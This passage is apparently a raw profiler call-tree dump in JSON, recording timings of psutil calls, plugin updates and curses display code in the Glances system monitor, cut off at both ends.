0.0020019049989059567},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020019049989059567, \"l1719\": 0.0020019049989059567},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019975239993073046, \"l680\": 0.0019975239993073046},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019975239993073046, \"l1593\": 0.0019975239993073046},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019975239993073046, \"l1740\": 0.0019975239993073046},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019975239993073046, \"l1593\": 0.0019975239993073046},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019975239993073046, \"l382\": 0.0019975239993073046},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019975239993073046, \"l1683\": 0.0019975239993073046},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001998,\"attributes\": {\"l730\": 0.0019975239993073046},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001998,\"attributes\": {\"l718\": 0.0019975239993073046},\"children\": [{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019991570006823167, \"l382\": 0.0019991570006823167},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019991570006823167, \"l1138\": 0.0019991570006823167},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019991570006823167, \"l1593\": 0.0019991570006823167},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019991570006823167, \"l1880\": 0.0019991570006823167},\"children\": [{\"identifier\": \"BufferedReader.readline\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003160025225952, \"l1116\": 0.0020003160025225952},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996949995402247, \"l680\": 0.0019996949995402247},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996949995402247, \"l1593\": 0.0019996949995402247},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996949995402247, \"l1740\": 0.0019996949995402247},\"children\": [{\"identifier\": \"decode\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000757\",\"time\": 0.002000,\"attributes\": {\"l758\": 0.0019996949995402247},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020027599966851994, \"l836\": 0.0020027599966851994},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020027599966851994, \"l1593\": 0.0020027599966851994},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020027599966851994, \"l1796\": 0.0020027599966851994},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002003,\"attributes\": {\"l682\": 0.0020027599966851994},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999399000254925, \"l643\": 0.002002680004807189, \"l639\": 0.005996718995447736},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.005997,\"attributes\": {\"cProcess\": 0.005996718995447736, \"l314\": 0.005996718995447736},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.005997,\"attributes\": {\"cProcess\": 0.005996718995447736, \"l347\": 0.005996718995447736},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.005997,\"attributes\": {\"cProcess\": 0.005996718995447736, \"l394\": 0.005996718995447736},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.005997,\"attributes\": {\"cProcess\": 0.005996718995447736, \"l1593\": 0.005996718995447736},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.005997,\"attributes\": {\"cProcess\": 0.005996718995447736, \"l1857\": 0.005996718995447736},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.005997,\"attributes\": {\"cProcess\": 0.005996718995447736, \"l1593\": 0.005996718995447736},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.005997,\"attributes\": {\"cProcess\": 0.005996718995447736, \"l375\": 0.005996718995447736},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.005997,\"attributes\": {\"cProcess\": 0.005996718995447736, \"l1683\": 0.005996718995447736},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.005997,\"attributes\": {\"l730\": 0.005996718995447736},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.005997,\"attributes\": {\"l719\": 0.003992653000750579, \"l718\": 0.0020040659946971573},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]},{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.002004,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]},{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.001996,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.002000,\"attributes\": {\"l824\": 0.0020004250036436133},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000773\",\"time\": 0.002000,\"attributes\": {\"l773\": 0.0020004250036436133},\"children\": [{\"identifier\": \"weighted\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000767\",\"time\": 0.002000,\"attributes\": {\"l769\": 0.0020004250036436133},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"remove_non_running_procs\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000676\",\"time\": 0.002567,\"attributes\": {\"cGlancesProcesses\": 0.0025671760013210587, \"l679\": 0.0025671760013210587},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002567,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.001432,\"attributes\": {\"cGlancesProcesses\": 0.001432088996807579, \"l689\": 0.001432088996807579},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.001432,\"attributes\": {\"l589\": 0.001432088996807579},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.001432,\"attributes\": {\"l584\": 0.001432088996807579},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001432,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020007240018458106, \"l155\": 0.0020007240018458106},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002001,\"attributes\": {\"cGlancesProcesses\": 0.0020007240018458106, \"l711\": 0.0020007240018458106},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.002001,\"attributes\": {\"l71\": 0.0020007240018458106},\"children\": [{\"identifier\": \"update_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000040\",\"time\": 0.002001,\"attributes\": {\"l47\": 0.0020007240018458106},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.007999,\"attributes\": {\"cProgramlistPlugin\": 0.007999296998605132, \"l678\": 0.007999296998605132},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.007999,\"attributes\": {\"cProgramlistPlugin\": 0.007999296998605132, \"l633\": 0.005998674001602922, \"l656\": 0.0020006229970022105},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.005999,\"attributes\": {\"cProgramlistPlugin\": 0.005998674001602922, \"l619\": 0.004000041000836063, \"l621\": 0.0019986330007668585},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.002022,\"attributes\": {\"cPercpuPlugin\": 0.0020222230014041997, \"l1278\": 0.0020222230014041997},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.002022,\"attributes\": {\"l1299\": 0.0020222230014041997},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002022,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.012209,\"attributes\": {\"cProcesslistPlugin\": 0.012209018001158256, \"l678\": 0.009978164998756256, \"l686\": 0.002230853002402},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.007977,\"attributes\": {\"cProcesslistPlugin\": 0.007977059001859743, \"l634\": 0.0019817849970422685, \"l656\": 0.004007964002084918, \"l633\": 0.0019873100027325563},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001982,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002012,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001987,\"attributes\": {\"cProcesslistPlugin\": 0.0019873100027325563, \"l614\": 0.0019873100027325563},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001987,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001987,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002231,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.017876,\"attributes\": {\"cFsPlugin\": 0.014071444995352067, \"l1278\": 0.01787645399599569, \"cIpPlugin\": 0.0017048420049832202, \"cQuicklookPlugin\": 0.002100166995660402},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.017876,\"attributes\": {\"l1295\": 0.01787645399599569},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.014071,\"attributes\": {\"cFsPlugin\": 0.014071444995352067, \"l131\": 0.014071444995352067},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.014071,\"attributes\": {\"cFsPlugin\": 0.014071444995352067, \"l182\": 0.014071444995352067},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.014071,\"attributes\": {\"l630\": 0.004749531995912548, \"l631\": 0.009321912999439519},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.003363,\"attributes\": {\"cForkProcess\": 0.0033627289958531037, \"l121\": 0.0033627289958531037},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.003363,\"attributes\": {\"l281\": 0.0033627289958531037},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.003363,\"attributes\": {\"cPopen\": 0.0033627289958531037, \"l20\": 0.0033627289958531037},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.003363,\"attributes\": {\"cPopen\": 0.0033627289958531037, \"l70\": 0.0033627289958531037},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.003363,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.005307,\"attributes\": {\"cForkProcess\": 0.005306519000441767, \"l156\": 0.005306519000441767},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.005307,\"attributes\": {\"cPopen\": 0.005306519000441767, \"l41\": 0.005306519000441767},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.005307,\"attributes\": {\"l1165\": 0.005306519000441767},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.005307,\"attributes\": {\"cPollSelector\": 0.005306519000441767, \"l398\": 0.005306519000441767},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.005307,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005307,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.001387,\"attributes\": {\"cForkProcess\": 0.0013868030000594445, \"l121\": 0.0013868030000594445},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.001387,\"attributes\": {\"l281\": 0.0013868030000594445},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.001387,\"attributes\": {\"cPopen\": 0.0013868030000594445, \"l20\": 0.0013868030000594445},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.001387,\"attributes\": {\"cPopen\": 0.0013868030000594445, \"l70\": 0.0013868030000594445},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001387,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.004015,\"attributes\": {\"cForkProcess\": 0.004015393998997752, \"l156\": 0.004015393998997752},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.004015,\"attributes\": {\"cPopen\": 0.004015393998997752, \"l41\": 0.004015393998997752},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.004015,\"attributes\": {\"l1165\": 0.004015393998997752},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.004015,\"attributes\": {\"cPollSelector\": 0.004015393998997752, \"l398\": 0.004015393998997752},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.004015,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.004015,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000116\",\"time\": 0.001705,\"attributes\": {\"cIpPlugin\": 0.0017048420049832202, \"l127\": 0.0017048420049832202},\"children\": [{\"identifier\": \"get_stats_for_local_input\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000138\",\"time\": 0.001705,\"attributes\": {\"cIpPlugin\": 0.0017048420049832202, \"l140\": 0.0017048420049832202},\"children\": [{\"identifier\": \"get_first_ip\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u000089\",\"time\": 0.001705,\"attributes\": {\"cIpPlugin\": 0.0017048420049832202, \"l90\": 0.0017048420049832202},\"children\": [{\"identifier\": \"get_ip_address\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000740\",\"time\": 0.001705,\"attributes\": {\"l746\": 0.0017048420049832202},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001705,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u0000107\",\"time\": 0.002100,\"attributes\": {\"cQuicklookPlugin\": 0.002100166995660402, \"l117\": 0.002100166995660402},\"children\": [{\"identifier\": \"get_info\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000246\",\"time\": 0.002100,\"attributes\": {\"cCpuPercent\": 0.002100166995660402, \"l252\": 0.002100166995660402},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001937\",\"time\": 0.002100,\"attributes\": {\"l1945\": 0.002100166995660402},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000643\",\"time\": 0.002100,\"attributes\": {\"l675\": 0.002100166995660402},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002100,\"attributes\": {\"l730\": 0.002100166995660402},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002100,\"attributes\": {\"l718\": 0.002100166995660402},\"children\": [{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.002100,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002100,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.059418,\"attributes\": {\"cGlancesCursesStandalone\": 2.059417520002171, \"l1154\": 0.04989344000205165, \"l1169\": 1.0054742680003983, \"l1172\": 1.004049811999721},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.049893,\"attributes\": {\"cGlancesCursesStandalone\": 0.04989344000205165, \"l1135\": 0.04989344000205165},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.049893,\"attributes\": {\"cGlancesCursesStandalone\": 0.04989344000205165, \"l569\": 0.047892797003441956, \"l603\": 0.002000642998609692},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.047893,\"attributes\": {\"cGlancesCursesStandalone\": 0.047892797003441956, \"l545\": 0.047892797003441956},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.047893,\"attributes\": {\"cProgramlistPlugin\": 0.020003243000246584, \"l1101\": 0.04589162800402846, \"cProcesslistPlugin\": 0.025888385003781877, \"cSensorsPlugin\": 0.002001168999413494, \"l1099\": 0.002001168999413494},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.045892,\"attributes\": {\"cProgramlistPlugin\": 0.020003243000246584, \"l587\": 0.04589162800402846, \"cProcesslistPlugin\": 0.025888385003781877},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.045892,\"attributes\": {\"cProgramlistPlugin\": 0.020003243000246584, \"l538\": 0.03788334200362442, \"l537\": 0.004008010997495148, \"cProcesslistPlugin\": 0.025888385003781877, \"l539\": 0.004000275002908893},\"children\": [{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001995,\"attributes\": {\"cProgramlistPlugin\": 0.001994539001316298, \"l309\": 0.001994539001316298},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001995,\"attributes\": {\"cProgramlistPlugin\": 0.001994539001316298, \"l855\": 0.001994539001316298},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001995,\"attributes\": {\"cProgramlistPlugin\": 0.001994539001316298, \"l969\": 0.001994539001316298},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.001989,\"attributes\": {\"cProgramlistPlugin\": 0.0019886790032614954, \"l397\": 0.0019886790032614954},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001989,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001920,\"attributes\": {\"cProgramlistPlugin\": 0.0019199699963792227, \"l323\": 0.0019199699963792227},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001920,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002304,\"attributes\": {\"cProgramlistPlugin\": 0.002303612003743183, \"l472\": 0.002303612003743183},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002304,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001774,\"attributes\": {\"cProgramlistPlugin\": 0.0017742679992807098, \"l361\": 0.0017742679992807098},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.001774,\"attributes\": {\"cProgramlistPlugin\": 0.0017742679992807098, \"l351\": 0.0017742679992807098},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 